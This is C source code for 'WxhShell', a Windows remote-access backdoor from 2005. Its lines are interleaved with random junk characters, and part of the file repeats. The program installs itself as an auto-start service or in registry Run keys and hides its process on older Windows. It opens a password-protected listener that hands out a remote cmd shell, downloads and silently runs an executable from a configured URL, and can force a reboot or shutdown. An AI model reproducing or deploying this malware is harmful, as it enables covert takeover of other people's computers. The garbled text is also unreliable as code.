KN`k+!@/7 Y6H?ZOq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D"$Y, d if(NULL == hInst ) return 0; &*ocr & CJ%'VijhD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K8MET& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \G>C{v; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5[jS(1a`c 5X+`aB if (!NtQueryInformationProcess) return 0; M9BEG6E9 SO(BkxV@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yq[/9Pci A if(!hProcess) return 0; 9RHDkK{5 ?
,s'UqR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }Oc+EV-Z U&u6356 CloseHandle(hProcess); gN:F5 0 7x>^ip"7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q2r[^Z if(hProcess==NULL) return 0; ;*j
K! Z'y &11 HMODULE hMod; r(uo-/7z char procName[255]; oxN5:) unsigned long cbNeeded; N<a%l J [BJzZ>cY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y$]<m+1 /7Pqy2sgE CloseHandle(hProcess); xatq lGWz if(strstr(procName,"services")) return 1; // 以服务启动 U'(zKqC H@G$K@L return 0; // 注册表启动 Wq<oP } FI[BZZW QY&c=bWAX" // 主模块 j,^&U|! int StartWxhshell(LPSTR lpCmdLine) Gg~0>XS { i]?
Eq?k SOCKET wsl; 5;" $X 1{ BOOL val=TRUE; E~fb#6 int port=0; gggD "alDx struct sockaddr_in door; 2XeyNX |e2s\?nB0S if(wscfg.ws_autoins) Install(); m!w|~Rk ' *a}*(0OA port=atoi(lpCmdLine); W-#DEU 7_ wzju)q S if(port<=0) port=wscfg.ws_port; XF)N_}X^ 6d;}mhH WSADATA data; J QnaXjW2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O{~Xp!QQt G>0d^bx;E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \|QB;7u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
d9k` door.sin_family = AF_INET; v9Ii8{ca| door.sin_addr.s_addr = inet_addr("127.0.0.1"); pMHl<HH door.sin_port = htons(port); tB~#;:g ,m?V3xvq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s.Z{mnD6 closesocket(wsl); xCXsyZ2h return 1; tyW}=xs } uuwJ- dV
:} if(listen(wsl,2) == INVALID_SOCKET) { \u[} closesocket(wsl); 7AT8QC`u return 1; }#ta3 x } IS(F_< . Wxhshell(wsl); QR"+fzOL WSACleanup(); 9G
SpDc 3\j`g return 0; 4Xa]yA = :FS5BT$= }
b7\> = ^`id/ // 以NT服务方式启动 "kFH*I+v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r1-MO`6 { 6}I X{nQI DWORD status = 0; EniV-Uj\D DWORD specificError = 0xfffffff; H i8V=+ <#?dPDMG.* serviceStatus.dwServiceType = SERVICE_WIN32; Cfmd*, serviceStatus.dwCurrentState = SERVICE_START_PENDING; dGOFSH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tmS2%1o serviceStatus.dwWin32ExitCode = 0; ( `bb1gz serviceStatus.dwServiceSpecificExitCode = 0; $%DoLpE> serviceStatus.dwCheckPoint = 0; N ~=PecQ serviceStatus.dwWaitHint = 0; 0*5Jq#5 "o`?-bQ: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iQ:eR]7X if (hServiceStatusHandle==0) return; %?].(
Lc L%Zr3Ct status = GetLastError(); 81y<Uz 6 if (status!=NO_ERROR) 0{
mm%@o { F<p`)? serviceStatus.dwCurrentState = SERVICE_STOPPED; v LN KX;9 serviceStatus.dwCheckPoint = 0; rD <T serviceStatus.dwWaitHint = 0; H%Vf$1/TF serviceStatus.dwWin32ExitCode = status; vA_,TS#Bo serviceStatus.dwServiceSpecificExitCode = specificError; mm+V*L{x SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5)XUT`;'){ return; ,P}7e)3 } hGV_K" ~I0 +W[f>3`VQ serviceStatus.dwCurrentState = SERVICE_RUNNING; K1J |\!o serviceStatus.dwCheckPoint = 0; <lIm==U<- serviceStatus.dwWaitHint = 0; ,hI$nF0}p if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vFdI?(c- } V':A! 3GE;:;8B // 处理NT服务事件,比如:启动、停止 eEVB VOID WINAPI NTServiceHandler(DWORD fdwControl) '9WTz(0? { Yl&[_
l switch(fdwControl) d"?"(Q_8n { m85ZcyW1T case SERVICE_CONTROL_STOP: O-V]I0 serviceStatus.dwWin32ExitCode = 0; Yh1nXkA!V serviceStatus.dwCurrentState = SERVICE_STOPPED; Q<AOc\oO serviceStatus.dwCheckPoint = 0; H}~K51 serviceStatus.dwWaitHint = 0; *Oy*
\cX2[ { 0;><@{' SetServiceStatus(hServiceStatusHandle, &serviceStatus); Za!KM } `mteU"{bx return; +ho=0> case SERVICE_CONTROL_PAUSE: Mo N/?VA serviceStatus.dwCurrentState = SERVICE_PAUSED; W3!-;l break; <bhGpLh-E case SERVICE_CONTROL_CONTINUE: ~L<"]V+B serviceStatus.dwCurrentState = SERVICE_RUNNING; d'MZ%.# break; QObVJg,GD case SERVICE_CONTROL_INTERROGATE: 02[m{a- break; Q?1.GuF }; a_}C*+D SetServiceStatus(hServiceStatusHandle, &serviceStatus); \K\eq>@6 } R7(XDX=[s &PV%=/-J // 标准应用程序主函数
N#9N ^#1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a+lNXlh= { %$zak@3%' ;5X~"#%U_ // 获取操作系统版本 AFL'Ox]0 OsIsNt=GetOsVer(); ]>[TF'pIAx GetModuleFileName(NULL,ExeFile,MAX_PATH); 0'F/z%SMj C)i8XX // 从命令行安装 =dNE1rdzNa if(strpbrk(lpCmdLine,"iI")) Install(); D>{`I' J#Y0R"fo // 下载执行文件 $*X?]? if(wscfg.ws_downexe) { DjK7_'7(L if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :l]qTCmY WinExec(wscfg.ws_filenam,SW_HIDE); n.9k5r@ } g`'!Vgd?M[ Brs6RkRf if(!OsIsNt) { jq]5Y^e // 如果时win9x,隐藏进程并且设置为注册表启动 5SUO`4L HideProc(); '6NrL;
StartWxhshell(lpCmdLine); RICm$, } M.dX;iM< else ^g(qPtQ if(StartFromService()) o%j?}J7y // 以服务方式启动 C1_0 9Vc StartServiceCtrlDispatcher(DispatchTable); [7PC\ else fWA#n // 普通方式启动 8%;Wyqdf] StartWxhshell(lpCmdLine); KNN{2thy ` 0U%tjYk( return 0; &8i$`6wY } `~d7l@6F RYvdfj.ij A/a=)su CB>W# P% =========================================== BJ3<"D{.*4 O,
eoO,gB )b]!IP3 $}b)EMMM V-(]L:[JQ egA*x*8 " l*hWws[ 2>X yrG #include <stdio.h> HTiLA%%6 #include <string.h> {9 |*au(K #include <windows.h> ;|XX^ #include <winsock2.h> MXl_{8 #include <winsvc.h> fCNQUK{Gs5 #include <urlmon.h> e}{#VB< *^;
MWI #pragma comment (lib, "Ws2_32.lib") }XUI1H]jk #pragma comment (lib, "urlmon.lib") e^@ZN9qQ Bt")RG #define MAX_USER 100 // 最大客户端连接数 M1/(Xla3 #define BUF_SOCK 200 // sock buffer 'C7R*
P #define KEY_BUFF 255 // 输入 buffer aO}hE2] xC9?rLUZ #define REBOOT 0 // 重启 O{3X`xAf #define SHUTDOWN 1 // 关机 ]Kjt@F"; 8dx7@y?z #define DEF_PORT 5000 // 监听端口 PhuHfw4$y, LFi{Q{E) #define REG_LEN 16 // 注册表键长度 2K/t[.8 #define SVC_LEN 80 // NT服务名长度 W Pr:d aJ=)5%$6kc // 从dll定义API '$p`3Oqi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *wx%jbJo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LrO[l0#'Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !!ZGNZ_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JT<JS6vw# C[Q4OAFG // wxhshell配置信息 k
t!@}QP struct WSCFG { O251. hXK int ws_port; // 监听端口 POl-S<QV char ws_passstr[REG_LEN]; // 口令 QhTn9S:D int ws_autoins; // 安装标记, 1=yes 0=no {I0!q"sF char ws_regname[REG_LEN]; // 注册表键名 z"z$.c char ws_svcname[REG_LEN]; // 服务名 Q:
-& char ws_svcdisp[SVC_LEN]; // 服务显示名 f:P;_/cJc char ws_svcdesc[SVC_LEN]; // 服务描述信息 xa_ IdkV char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h*<`ct xL int ws_downexe; // 下载执行标记, 1=yes 0=no 9k62_]w@6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $SA
@ " char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U3]/ NV*
n87Uf$ }; daA&!vnbH* KU/QEeqbrp // default Wxhshell configuration J<"Z6 '0v struct WSCFG wscfg={DEF_PORT, Zd-QZ<c";t "xuhuanlingzhe", 46l*ui_ 1, hqHk,# "Wxhshell", vP'!&} "Wxhshell", n]w%bKc-9 "WxhShell Service", %2'4h(Oq^ "Wrsky Windows CmdShell Service", 753gcY#i "Please Input Your Password: ", w0=/V[fs 1, 2C"i2/NH' "http://www.wrsky.com/wxhshell.exe", uJ1oo| sn "Wxhshell.exe" XF3lS#pt }; .;bU["fn) })mD{c/ // 消息定义模块 d{WOO)j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tmoclK- char *msg_ws_prompt="\n\r? for help\n\r#>"; e&(Wn2)o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P()&?C char *msg_ws_ext="\n\rExit."; eA(FWO char *msg_ws_end="\n\rQuit."; (yT&&_zY4 char *msg_ws_boot="\n\rReboot..."; -~~R?,H'Z_ char *msg_ws_poff="\n\rShutdown..."; kyYU 1gfh char *msg_ws_down="\n\rSave to "; s"tH?m
)6 "K|':3n| char *msg_ws_err="\n\rErr!"; 1!+0]_8K char *msg_ws_ok="\n\rOK!"; 'wBOnGi6 XTb.cqOC char ExeFile[MAX_PATH]; ,( hP /< int nUser = 0; -@'RYY= HANDLE handles[MAX_USER]; w17{2'] int OsIsNt; pNQ@aJ pZc`!f" SERVICE_STATUS serviceStatus; ^s=F<_{ SERVICE_STATUS_HANDLE hServiceStatusHandle; oq>jCOVh ;'!h(H // 函数声明 [>Zg6q| int Install(void); I.2>d_^< int Uninstall(void); MpJ3*$Dr int DownloadFile(char *sURL, SOCKET wsh); PUd/|Rc/} int Boot(int flag); u
VUrg;> void HideProc(void); 0o.h{BN int GetOsVer(void); xTZJ5iZ17 int Wxhshell(SOCKET wsl); i MS4<` void TalkWithClient(void *cs); 7{rRQ~s&g9 int CmdShell(SOCKET sock); sv\=/F@n int StartFromService(void); ,>pv>)u{ int StartWxhshell(LPSTR lpCmdLine); Y\(?&7Aax puF*WxU) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0V2~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); p+2%LYR u z`dnS]q9 // 数据结构和表定义 r6:nYyF$)v SERVICE_TABLE_ENTRY DispatchTable[] = W3MH8z
{ V<n#%!M5gV {wscfg.ws_svcname, NTServiceMain}, <V8=*n"mR {NULL, NULL} qV$0 ";d }; %we! J%'Y] 4J[csU // 自我安装 _ UF'Cf+Y int Install(void) XlwyD { :|ytw=3> char svExeFile[MAX_PATH]; . Eb=KG HKEY key; U}-hV@y
strcpy(svExeFile,ExeFile); DK%@[D ugW.nf*O // 如果是win9x系统,修改注册表设为自启动 f(-3d*g if(!OsIsNt) { O;#0Yg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v)!^%D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '&y+,2?;Y[ RegCloseKey(key); ':T"nORC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5PKdMEK|q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {1vlz>82 RegCloseKey(key); .YIb ny1 return 0; X5P1wxk' } :\#/T,K" } {/qq*0wa } k/%n7 ;1 else { -s6;IoG/ }RkD7 // 如果是NT以上系统,安装为系统服务 !2=eau^p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |w`Q$ c if (schSCManager!=0) #xxs^Kbqa# { |?uUw$oh SC_HANDLE schService = CreateService {(`xA,El ( Y/n],(t) schSCManager, ^@xn 3zJ wscfg.ws_svcname, 'uF"O"* wscfg.ws_svcdisp, ^WIGd"^ SERVICE_ALL_ACCESS, Y[alOJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }tH6E SERVICE_AUTO_START, %3$EV}dp SERVICE_ERROR_NORMAL, Z;GZ?NOlY svExeFile, +#
tmsv]2 NULL, q{oppali NULL, i}e OWi NULL, x-=qlg&EI NULL, dy2<b+.. NULL SH M@H93 ); $r=tOD4; if (schService!=0) S9S%7pE { xy1R_*.F^T CloseServiceHandle(schService); VpmD1YSn CloseServiceHandle(schSCManager); G>c:+`KS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,hXhcfFl strcat(svExeFile,wscfg.ws_svcname); Ln5g"g8gb% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #x5?RHX56 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5KDN8pJN RegCloseKey(key); "\M^jO return 0; S-KHot ? } >-Q=o,cl%3 } A"~4|`W CloseServiceHandle(schSCManager); {Zy)p%j8 } IH~[/qNk } 'nh^'i&0.
:Z5Twb3h return 1; xc6A&b>jI } 5\eM3w'd ; )J\k2 // 自我卸载 nf9NJ_8}4H int Uninstall(void) 16R0#Q/{+* { V'&`JZK6 HKEY key; ww$Ec ua>YI if(!OsIsNt) { _G=k^f_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _mn2bc9M RegDeleteValue(key,wscfg.ws_regname); $:SSm$k RegCloseKey(key); t bEJyA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zsuXN * RegDeleteValue(key,wscfg.ws_regname); $z5 RegCloseKey(key); }:a:E~5y return 0; p;<brwN } IG=# 2 /$ } +1=]93gP } Y]6kA5 else { _/`H<@B_U UCVdR<<Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5'zD}[2 if (schSCManager!=0) r>ca17 { NANgV~Y& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }*9mNE if (schService!=0) wY6m^g$h3 { Ek%mX" if(DeleteService(schService)!=0) { Vx*O^cM CloseServiceHandle(schService); pW4$$2S?9 CloseServiceHandle(schSCManager); R7ze~[oF return 0; ^(on"3sG } s2*~n_B CloseServiceHandle(schService); f )Ef-o } #$0*Gd-N CloseServiceHandle(schSCManager); d !=AS } {q1u[T&r } BH\!yxK m;@8z[
^5 return 1; eNc>^:&y* } 7X`]}z4g Bx9v2x. // 从指定url下载文件 &.1qixXIr int DownloadFile(char *sURL, SOCKET wsh) _`.Wib+ { ,y}@I" HRESULT hr; n5>OZ3 E@ char seps[]= "/"; _2
oZhJ char *token; L~|_C Rw char *file; |e{ ^Yf4 char myURL[MAX_PATH]; Gw-y6e'|Y char myFILE[MAX_PATH]; Ym|%ka E)F#Z=) strcpy(myURL,sURL); \zLKSJ] token=strtok(myURL,seps); [PX%p;"D while(token!=NULL) zw[ #B # { as3*49^9 file=token; ;:obg/;uJ token=strtok(NULL,seps); Tnoy#w}Ve } 7&&3@96<*# tE WolO[\ GetCurrentDirectory(MAX_PATH,myFILE); 7A"v:e strcat(myFILE, "\\"); z9Nial`p strcat(myFILE, file); K( r@JW send(wsh,myFILE,strlen(myFILE),0); *3\ Nj6 send(wsh,"...",3,0); vR4omB{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7!/!a*zg if(hr==S_OK) e?_uJh" return 0; !xvAy3 else R4vf return 1; crQ_@@X?< i F \H } 21[=xboU 3/V0w|ZgD // 系统电源模块 {uN-bl?o int Boot(int flag) RA1K$D ?A { V 5D8z HANDLE hToken; W:>XXUU TOKEN_PRIVILEGES tkp; L$6W,D ?7uK:'8 if(OsIsNt) { K_F"j!0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'U-8w@\Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]Z?jo#F tkp.PrivilegeCount = 1; 6TDa#k5v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B ?l0u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [ J4n% if(flag==REBOOT) { L~Y^O`c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EY^?@D_< return 0; %7[q%S } F^.~37=@ else { nK}-^Ur if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wZVLpF+7 return 0; ?[;>1+D } 57KrDxE} } KM?w{ ~9 else { WO6R04+WV if(flag==REBOOT) { kB.CeG]tk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6O_l;A[=1 return 0; "}vxHN# } vNju|=Lo else { B=~uJUr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q07H{{h/B return 0; p-xG&CU } +j %y#_~ } Hb/8X
!= Tp|>(~;ai return 1; PS8^= } ^*w}+tB ~E/=nv$ // win9x进程隐藏模块 7'#_uAQR void HideProc(void) Ckc5;:b&m { !f]kTs]j~ 7Ck3L6J# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C80< L5\ if ( hKernel != NULL ) = WHI/|& { WrS>^\: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I E{:{b\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B*t1Y<>x FreeLibrary(hKernel); upZtVdd } m2P&DdN[ =sAU5Ag68 return; "l hj1zZ } \C>+ubF 3 NFo=Z8 // 获取操作系统版本 bDm7$ ( int GetOsVer(void) e)N<r { +z:>Nl OSVERSIONINFO winfo; G4rzx%W? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hiEYIx GetVersionEx(&winfo); mkhWbzD'S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _8!x return 1; 0X4)=sJP else 3y,2RernK return 0; @biU@[D } ~KV{m *nc3A[B#C // 客户端句柄模块 f'w`< int Wxhshell(SOCKET wsl) {> <1K6t { 7XLqP SOCKET wsh; rxqSi0p struct sockaddr_in client; ve:Oe{Ie{ DWORD myID; t{QQ;' Pd-LDs+Ga while(nUser<MAX_USER) `HO]
kJpX { s 0_*^cZ int nSize=sizeof(client); (> _Lb wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |rG)Q0H, if(wsh==INVALID_SOCKET) return 1; !dUdz7 EeT69o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gwdAf%|f if(handles[nUser]==0) Pouo# 5 closesocket(wsh); 1)jeawVmj else `SOQPAnK+; nUser++; 5423Ky< } wlsx| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;^u,[d _C(fz CK return 0; {}rnn$HQe } 5Zd oem FJ4,|x3v[x // 关闭 socket a+\<2NXYD void CloseIt(SOCKET wsh) 5ba e- { >MSK.SNh closesocket(wsh); >*opE I+ nUser--; Qc)i?Z'6 ExitThread(0); Dy>6L79G } Jm#p!G+ ck%YEMs // 客户端请求句柄 Vo+.s#wN`h void TalkWithClient(void *cs) 9_nbMs { '=%`;?j vm{8x o SOCKET wsh=(SOCKET)cs; +2}cR66% char pwd[SVC_LEN]; [ZC\8tP`V char cmd[KEY_BUFF]; 9#m3<oSJ char chr[1]; #/jug[wf*! int i,j; *W2)!C| 4(VV@:_% while (nUser < MAX_USER) { ExSM=
F\^8k /0 if(wscfg.ws_passstr) { ~\i(bFd) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dvqg H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l2:-).7xt //ZeroMemory(pwd,KEY_BUFF); y.}{KQ"a* i=0; ,msP(*qoI while(i<SVC_LEN) { 1G"ohosmF *S"RU~1_ // 设置超时 Jwfb%Xge~ fd_set FdRead; %8h=_(X\7 struct timeval TimeOut; <7SE| FD_ZERO(&FdRead); I.G[|[. Do FD_SET(wsh,&FdRead); HA,8O[jon TimeOut.tv_sec=8; RgUQ: TimeOut.tv_usec=0; ~[dL:=?c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }A,!|m4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KvEv0L<ky ZSW@,Ti if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c"-X:m" pwd=chr[0]; XzSl"U PYH if(chr[0]==0xd || chr[0]==0xa) { @eeI4Jz pwd=0; Q{?\qCrrYl break; dNNXMQ0" } D)?%kNeA i++; \#LDX,= } rab$[?] fP5i3[T // 如果是非法用户,关闭 socket 5>+@.hPX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TfT^.p* } ?jUgDwc(w }$ySZa9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -j]c(Q MA] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KXDnhVf 0%%U7GFB5 while(1) { 2>o^@4PnZ nDO7 ZeroMemory(cmd,KEY_BUFF);
6?*Do {Ji&rk}NP // 自动支持客户端 telnet标准 )B"{B1( j=0; 2uN3:_w while(j<KEY_BUFF) { DbLo{mFEIj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bGL} nPo cmd[j]=chr[0]; J`)/\9'&& if(chr[0]==0xa || chr[0]==0xd) { +6$+]u] cmd[j]=0; =}Zl
E break; sR>>l3H } fS/:OnH j++; M>Tg$^lm } }2LWDQ;po %&&)[ // 下载文件 }4!}vkVx if(strstr(cmd,"http://")) { LKp;sV send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3<+ZA-2 if(DownloadFile(cmd,wsh)) V 0Oqq0\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); }BU%<5CQ else ?A7 AVR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -,+C*|mu } _s#]WyU1g else { I:/|{:5 A+8)VlE\ switch(cmd[0]) { ;$zvm`|: ^h2+"" // 帮助 3^%2, case '?': { ,7bhUE/VB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p7-\a1P3 break; FXDB> }8 } hZ452W // 安装 Y:O|6%00Y case 'i': { %a
WRXW@c if(Install()) K mH))LIv send(wsh,msg_ws_err,strlen(msg_ws_err),0); , +J)`+pJx else k<Gmb~Tg1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AVw oOvJ break; i0/QfB%O } b way+lh // 卸载 zJW2F_ case 'r': { f~\H|E8( if(Uninstall()) @(35I send(wsh,msg_ws_err,strlen(msg_ws_err),0); r>ed/<_>m; else -K?lhu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^*`#+*C break; Jh=.}FXnjL }
l$\B>u,> // 显示 wxhshell 所在路径 qhvT," case 'p': { 3{|~'5* char svExeFile[MAX_PATH]; 1!G}*38; strcpy(svExeFile,"\n\r"); 1}Q9y`65 strcat(svExeFile,ExeFile); &.DRAD) send(wsh,svExeFile,strlen(svExeFile),0); BRM `/s break; {g1"{ } VFZ?<m // 重启 ,M?8s2? case 'b': { 9%|skTgIqH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^
'|y^t if(Boot(REBOOT)) LH_H
yP_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[iO./zP else { 3%(r,AD closesocket(wsh); "Zhh>cz ExitThread(0); ;z9,c } I50LysM break; +em!TO } B-]bhA4|: // 关机 !9NF@e'&! case 'd': { zEO~mJzo send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '+{yg+#/wV if(Boot(SHUTDOWN)) yp$jLBA send(wsh,msg_ws_err,strlen(msg_ws_err),0); -hW>1s< else { `.O$RwC&7B closesocket(wsh); *9r(lmrfj ExitThread(0); kP[fhOpn } }"WovU{*s break; K;"oK }
0LL65[ // 获取shell HP_h!pvx case 's': { %La7);SeY CmdShell(wsh); 7glf?oE closesocket(wsh); ?+7~E8 ExitThread(0); m-\_L=QzM break; ^j${#Q } Cq/u$G // 退出 n:wAxU case 'x': { ]zyT_}& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AN:s%w2 CloseIt(wsh); #tHYCSr] break; @]#[TbNo } 'D`lVUB // 离开 qGV(p}$O case 'q': { B,_K mHItd send(wsh,msg_ws_end,strlen(msg_ws_end),0); E_A5KLP closesocket(wsh); AEnkx!o WSACleanup(); KG(FA exit(1); VT4>6u} break; E"p _!!1 } H/M]YUs/3 } tlD^"eq4: } 5<`83;R9 qzvht4 // 提示信息 QeFt
WjlqC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FO[ s;dmzu } 4Ol1T(J# } Hs8JJGXWB 6c(b*o return; *rw6?u9I } D:j5/ * R'tvF$3=i // shell模块句柄 A9@coP5 int CmdShell(SOCKET sock) zL}`7*d:v { PPV T2;9 STARTUPINFO si; *2-b&PQR{ ZeroMemory(&si,sizeof(si)); {ixKc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6(7{|iY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q~ Ad{yC PROCESS_INFORMATION ProcessInfo; v)O].Hd char cmdline[]="cmd"; W0mvwYON[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h(AL\9{=} return 0; R"HV|Dm|m } @8m%*pBg =to.Oa RR // 自身启动模式 p|nPu*R-\ int StartFromService(void) "{E%Y* { ~"\v(\P e typedef struct "2-D[rYZ { MtPdpm6\ DWORD ExitStatus; lx5.50mI DWORD PebBaseAddress; 7_Te-i DWORD AffinityMask; Z?qLn6y1W DWORD BasePriority; 1>\V>g9 ULONG UniqueProcessId; `5oXf ULONG InheritedFromUniqueProcessId; 2i#Ekon } PROCESS_BASIC_INFORMATION; ?o6#i 3k#' eB9&HD: PROCNTQSIP NtQueryInformationProcess; zBq&/? OY81|N
j static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6
F 39' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #+_=(J iuXXFuh HANDLE hProcess; ?RsPAL PROCESS_BASIC_INFORMATION pbi; x\ #K2 p>J@"?%^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f$5pp=s: n if(NULL == hInst ) return 0; o/a2n<4 R#y"SxD() g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /DHV-L g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x;:jF_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &+k*+ /3hY[#e if (!NtQueryInformationProcess) return 0; ?5B?P:=kl <VstnJo`Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~&<vAgy, if(!hProcess) return 0; Crj7n/mp]s N}#"o if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; icIWv
C .B=E"e CloseHandle(hProcess); x)eF{%QB =a+
